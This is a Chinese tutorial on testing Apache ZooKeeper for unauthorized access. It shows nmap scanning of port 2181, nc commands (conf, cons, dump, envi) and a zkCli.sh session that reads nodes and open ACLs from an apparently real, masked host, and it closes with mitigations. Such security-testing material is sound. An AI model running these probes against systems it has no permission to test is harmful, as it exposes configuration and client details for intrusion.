(编辑:jimmy 日期: 2024/12/25 浏览:2)
ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。
zookeeper 未授权访问是指安装部署之后默认情况下不需要任何身份验证,从而导致 zookeeper 被远程利用,导致大量服务级别的信息泄露。
默认使用端口:2181、2182。
如使用nmap探测某个目标地址是否运行Zookeeper服务,探测2181端口开放。
root@kali:~# nmap -Pn -p 2181 xx.xx.xx.xx Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-21 01:56 EDT Nmap scan report for xx.xx.xx.xx.static.sz.js.chinamobile.com (xx.xx.xx.xx) Host is up (0.016s latency). PORT STATE SERVICE 2181/tcp open eforward Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
批量探测仅需修改一下对应的目标地址即可。
conf命令
输出相关服务配置的详细信息,端口、数据路径、日志路径、session 超时时间,最大连接数等。
root@kali:~# echo conf | nc xx.xx.xx.xx 2181 clientPort=2171 dataDir=/opt/data/zookeeper/data/version-2 dataLogDir=/opt/data/zookeeper/data/version-2 tickTime=2000 maxClientCnxns=0 minSessionTimeout=4000 maxSessionTimeout=40000 serverId=0
cons命令
列出所有连接到当前服务器的客户端/会话的详细信息。
root@kali:~# echo cons | nc xx.xx.xx.xx 2181 | more /10.23.46.40:11958[1](queued=0,recved=27317,sent=27317,sid=0x1000000e029b16e,lop=PING,est=1571277639586,to=40000,lcxid=0x33,lzxid=0x286a720,lresp=2435779043,llat=0,minlat=0,avglat=0,maxlat=397) /10.23.46.39:9688[1](queued=0,recved=27316,sent=27316,sid=0x1000000e029b17c,lop=PING,est=1571277641790,to=40000,lcxid=0x33,lzxid=0x286a71c,lresp=2435777895,llat=0,minlat=0,avglat=0,maxlat=560)
dump命令
输出未处理的会话和临时节点,leader 节点有效。
root@kali:~# echo dump | nc xx.xx.xx.xx 2181 | more SessionTracker dump: Session Sets (21): 0 expire at Thu Jan 29 12:38:08 CST 1970: 0 expire at Thu Jan 29 12:38:10 CST 1970: 3 expire at Thu Jan 29 12:38:12 CST 1970: 0x1000000e01f0013 0x1000000e029fdde 0x1000000e029fe05 2 expire at Thu Jan 29 12:38:14 CST 1970: 0x1000000e02a4235 0x1000000e01f00e9 31 expire at Thu Jan 29 12:38:16 CST 1970: 0x1000000e01f067a 0x1000000e02a423c 0x1000000e01f0008 0x1000000e029fdf4 ...
非 leader 节点看不到什么相关信息。
envi命令
输出服务器的详细信息。
root@kali:~# echo envi | nc xx.xx.xx.xx 2181 Environment: zookeeper.version=3.4.13-2d71af4dbe22557fda74f9a9b4309b15a7487f03, built on 06/29/2018 04:05 GMT host.name=c1b69852-ac24-11e8-88d9-a4bf01306d06 java.version=1.7.0_80 java.vendor=Oracle Corporation java.home=/usr/java/jdk1.7.0_80/jre java.class.path=/opt/midware/zookeeper/bin/../build/classes:/opt/midware/zookeeper/bin/../build/lib/*.jar:/opt/midware/zookeeper/bin/../lib/slf4j-log4j12-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/slf4j-api-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/netty-3.10.6.Final.jar:/opt/midware/zookeeper/bin/../lib/log4j-1.2.17.jar:/opt/midware/zookeeper/bin/../lib/jline-0.9.94.jar:/opt/midware/zookeeper/bin/../lib/audience-annotations-0.5.0.jar:/opt/midware/zookeeper/bin/../zookeeper-3.4.13.jar:/opt/midware/zookeeper/bin/../src/java/lib/*.jar:/opt/midware/zookeeper/bin/../conf: java.library.path=/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib java.io.tmpdir=/tmp java.compiler=<NA> os.name=Linux os.arch=amd64 os.version=3.10.0-327.36.3.el7.x86_64 user.name=root user.home=/root user.dir=/
安装工具
如在kali下,可以用如下命令安装zookeeper工具,之后即可使用客户端连接工具zkCli.sh。
# apt-get install zookeeper ... #root@kali:~# cd /usr/share/zookeeper/bin/ #root@kali:/usr/share/zookeeper/bin# ls zkCleanup.sh zkCli.sh zkEnv.sh zkServer.sh
使用-server参数指定目标即可连接。
root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:2181 Connecting to xx.xx.xx.xx:2181 Welcome to ZooKeeper! JLine support is enabled [zk: xx.xx.xx.xx:2181(CONNECTING) 0]
... 已连接
获取系统相关信息
root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:2181 Connecting to xx.xx.xx.xx:2181 Welcome to ZooKeeper! JLine support is enabled [zk: xx.xx.xx.xx:2181(CONNECTING) 0] WATCHER:: WatchedEvent state:SyncConnected type:None path:null [zk: xx.xx.xx.xx:2181(CONNECTED) 0] ls / [service, pms, DsMaster, Resource, monitor_lock, zookeeper] [zk: xx.xx.xx.xx:2181(CONNECTED) 1] get / cZxid = 0x0 ctime = Wed Dec 31 19:00:00 EST 1969 mZxid = 0x0 mtime = Wed Dec 31 19:00:00 EST 1969 pZxid = 0x4c0 cversion = 4 dataVersion = 0 aclVersion = 0 ephemeralOwner = 0x0 dataLength = 0 numChildren = 6 [zk: xx.xx.xx.xx:2181(CONNECTED) 2] get /service cZxid = 0x2 ctime = Thu Aug 30 02:58:40 EDT 2018 mZxid = 0x2 mtime = Thu Aug 30 02:58:40 EDT 2018 pZxid = 0x1cb884d cversion = 7 dataVersion = 0 aclVersion = 0 ephemeralOwner = 0x0 dataLength = 0 numChildren = 3 [zk: xx.xx.xx.xx:2181(CONNECTED) 3] getAcl / 'world,'anyone : cdrwa
1、设置防火墙策略限制 IP 访问【建议采取此种方案】
2、不要将 zookeeper 暴露在外网
3、设置用户认证和 ACL
zookeeper 未授权访问
http://vic.pub/zookeeper-未授权访问/
总结
以上所述是小编给大家介绍的Zookeeper未授权访问测试问题,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对网站的支持!
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